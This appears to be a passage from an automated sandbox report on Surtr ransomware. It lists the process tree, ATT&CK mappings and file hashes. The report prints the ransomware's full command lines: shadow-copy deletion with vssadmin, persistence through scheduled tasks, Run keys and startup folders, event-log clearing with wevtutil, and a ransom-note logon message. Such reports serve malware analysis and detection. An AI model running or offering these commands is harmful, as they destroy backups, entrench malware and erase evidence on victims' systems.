C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\PublicData_jic101rxx5u76w.surt" "%TEMP%\Service\PublicData_jic101rxx5u76w.surt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\PrivateData_jic101rxx5u76w.surt" "%TEMP%\Service\PrivateData_jic101rxx5u76w.surt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "C:\ProgramData\Service"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +R /S "C:\ProgramData\Service"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "%TEMP%\Service"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +R /S "C:\Users\Admin\AppData\Local\Temp\Service"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"2⤵
- Drops startup file
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe sl Security /e:false2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe sl Security /e:false3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "Tribute to the REvil <3" /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "Tribute to the REvil <3" /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Unfortunately , ALL Your Important Files Have Been Encrypted and Stolen By Surtr Ransomware. Find SURTR_README files and follow instructions." /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Unfortunately , ALL Your Important Files Have Been Encrypted and Stolen By Surtr Ransomware. Find SURTR_README files and follow instructions." /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "C:\ProgramData\Service\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\ProgramData\Service\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%TEMP%\Service\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Service\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"3⤵
- Drops startup file
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\ProgramData\Service\SurtrIcon.ico2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h C:\ProgramData\Service\SurtrIcon.ico3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr /va /f2⤵
-
C:\Windows\SysWOW64\reg.exereg DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr /va /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr\UserChoice /v ProgId /t REG_SZ /d surtr_auto_file /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr\UserChoice /v ProgId /t REG_SZ /d surtr_auto_file /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\.surtr /ve /t REG_SZ /d surtr_auto_file /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CLASSES_ROOT\.surtr /ve /t REG_SZ /d surtr_auto_file /f3⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\surtr_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CLASSES_ROOT\surtr_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f3⤵
- Modifies registry class
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1450380267-409625918-2105801888-383792174-643724100402355456-14993441931919315720"1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Registry Run Keys / Startup Folder
1Scheduled Task
1Hidden Files and Directories
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
1Modify Registry
3Indicator Removal on Host
1File Deletion
3Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exeMD5
664cf36657bf55f20cac44505d3bbb2c
SHA1a48f8089455201895757503255d0f573ce5d3c66
SHA2564a3bd45ec4a4002ff69f941678b310e2c31bc9c8dc525fe203f6ef44258b0d35
SHA51242a433048ee5770244ab9f1b1165c7fd4baa87f400036a086e40020dfcfcbb4806fce55622df0cf6c64846ab7e397c1735edbe4aac2e6d153097ae6d9400f735
-
C:\ProgramData\Service\ID_DATA.surtMD5
d02cade5c1abb4f3ca84ef7dcde37d99
SHA1f6fd62c0be0301d9c04bdb982475fa8cf5afe308
SHA256f7d9aab42f7ace31be462f7f90708b395237c2fbd29fc5f0693b24fe6a3a06c1
SHA51293374cdabd00e2a17551213cc5ecff6a48487501ab299c5a41e64ecd4365a632dbf9f81dc69ab0d0490cf89c912e5773abee7f2494ac665d2feb6df6b33c9e09
-
C:\ProgramData\Service\PrivateData_jic101rxx5u76w.surtMD5
38394285e6dca15405584d4ad602332e
SHA13c68605114fea74a898b45d38f15c784c7eaec90
SHA2566181977fa6bb19af96c50e817126109092007b597ec2ecd409eff6c46cd733a3
SHA512cbae33d3499cdacf194d508eb8877e70417fd9094d53b1c0941652c1b6857adb3d41845dbc76e24cf589de1f9461685200c6cbea45dc5750be7ac590e2ff5f54
-
C:\ProgramData\Service\PublicData_jic101rxx5u76w.surtMD5
099013a70fd25f346ede77200ce7e904
SHA163b893c193633a2c5475e1d6508e75c38a4d1c55
SHA25676d534eaaed875423759a49237a3c177828261beef10e2f40dffeff5feee2486
SHA5123c0f57a7ebd13a88b1d0fb11fcf8eac0c3028828539ed9f31499847da5eb6c4391786cc9c713bcde3b84f1c33721827c015df900a8ee79e6f6f04b1f3b6f0166
-
C:\ProgramData\Service\SURTR_README.htaMD5
5595c682f970042063bc6d305622b003
SHA14f50dc63a6929a085e0de69cfbd247fe05086dee
SHA25674a031c085cd43b91838a5295e9a5487884f8e5c4ab2ccf602ed8d9cbe0dba40
SHA512c11b4765b7dcdc24ae3de35c2d46d2e45849ae2de9c21cc5b9cca89911c7ab0948a9f70d57f53a20c21f5ecd7182ab90832f0d0fcf38668c9b38bf2ce3520325
-
C:\ProgramData\Service\SURTR_README.txtMD5
804c71f394c60a757714548bf1f4e8fe
SHA1cc9df26789e4c334d07a63efc7969ffdbaae3957
SHA25677be03126a634e7aef9145b4ece130f84cdc2a8e74bb3f87e38ad8fff04204f4
SHA5122381deca9f0dcc530e1e5b0c53c4c9f098f8b78f857471efaf528a6700d5ae644a60ceeb6bdd2d525e04592cf2a7949f36962c6c9e9c69177d919ab77812fa60
-
C:\ProgramData\Service\Surtr.exeMD5
664cf36657bf55f20cac44505d3bbb2c
SHA1a48f8089455201895757503255d0f573ce5d3c66
SHA2564a3bd45ec4a4002ff69f941678b310e2c31bc9c8dc525fe203f6ef44258b0d35
SHA51242a433048ee5770244ab9f1b1165c7fd4baa87f400036a086e40020dfcfcbb4806fce55622df0cf6c64846ab7e397c1735edbe4aac2e6d153097ae6d9400f735
-
C:\ProgramData\Service\SurtrBackGround.jpgMD5
33f7fc301be9d39fcb474fb8b1e5f42e
SHA1a3bf9ddb2ac53bc4b12b249825189a7c7a07b766
SHA25699cd579177b2480dab17d125bcabe16f503b467208c2568c5564d13ffb457d03
SHA5126cf0f2a65cc9d001087b8a685f1199ece6cd6e25f91b421a5a176ed8a1578e9b5da5fd4cd1708fc3639c30f1724e238ad6d4a2b09d45b53737468b31ddf50d00
-
C:\ProgramData\Service\SurtrIcon.icoMD5
3257eb22824b57fe3d58074bca3128d3
SHA16f60ff4e7419ccdbc3d0dedc8474a0722d7d0a97
SHA2565afba257ff405ceb733b2b6f270a16c8e0fffe92e6c91c6554a2ea4706e8c3ad
SHA5127b41c8714aa64bd5a3a9e782a5bda8875882182863c9dd11273c168ef2b064f2c31c6c0e9d30f9db7ff99dae0542773f9a8ef995830c427d167120711ab4878d
-
C:\Users\Admin\AppData\Local\Temp\Service\Surtr.exeMD5
664cf36657bf55f20cac44505d3bbb2c
SHA1a48f8089455201895757503255d0f573ce5d3c66
SHA2564a3bd45ec4a4002ff69f941678b310e2c31bc9c8dc525fe203f6ef44258b0d35
SHA51242a433048ee5770244ab9f1b1165c7fd4baa87f400036a086e40020dfcfcbb4806fce55622df0cf6c64846ab7e397c1735edbe4aac2e6d153097ae6d9400f735
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exeMD5
664cf36657bf55f20cac44505d3bbb2c
SHA1a48f8089455201895757503255d0f573ce5d3c66
SHA2564a3bd45ec4a4002ff69f941678b310e2c31bc9c8dc525fe203f6ef44258b0d35
SHA51242a433048ee5770244ab9f1b1165c7fd4baa87f400036a086e40020dfcfcbb4806fce55622df0cf6c64846ab7e397c1735edbe4aac2e6d153097ae6d9400f735
-
memory/1592-54-0x0000000075F71000-0x0000000075F73000-memory.dmpFilesize
8KB
-
memory/2544-55-0x000007FEFC1E1000-0x000007FEFC1E3000-memory.dmpFilesize
8KB
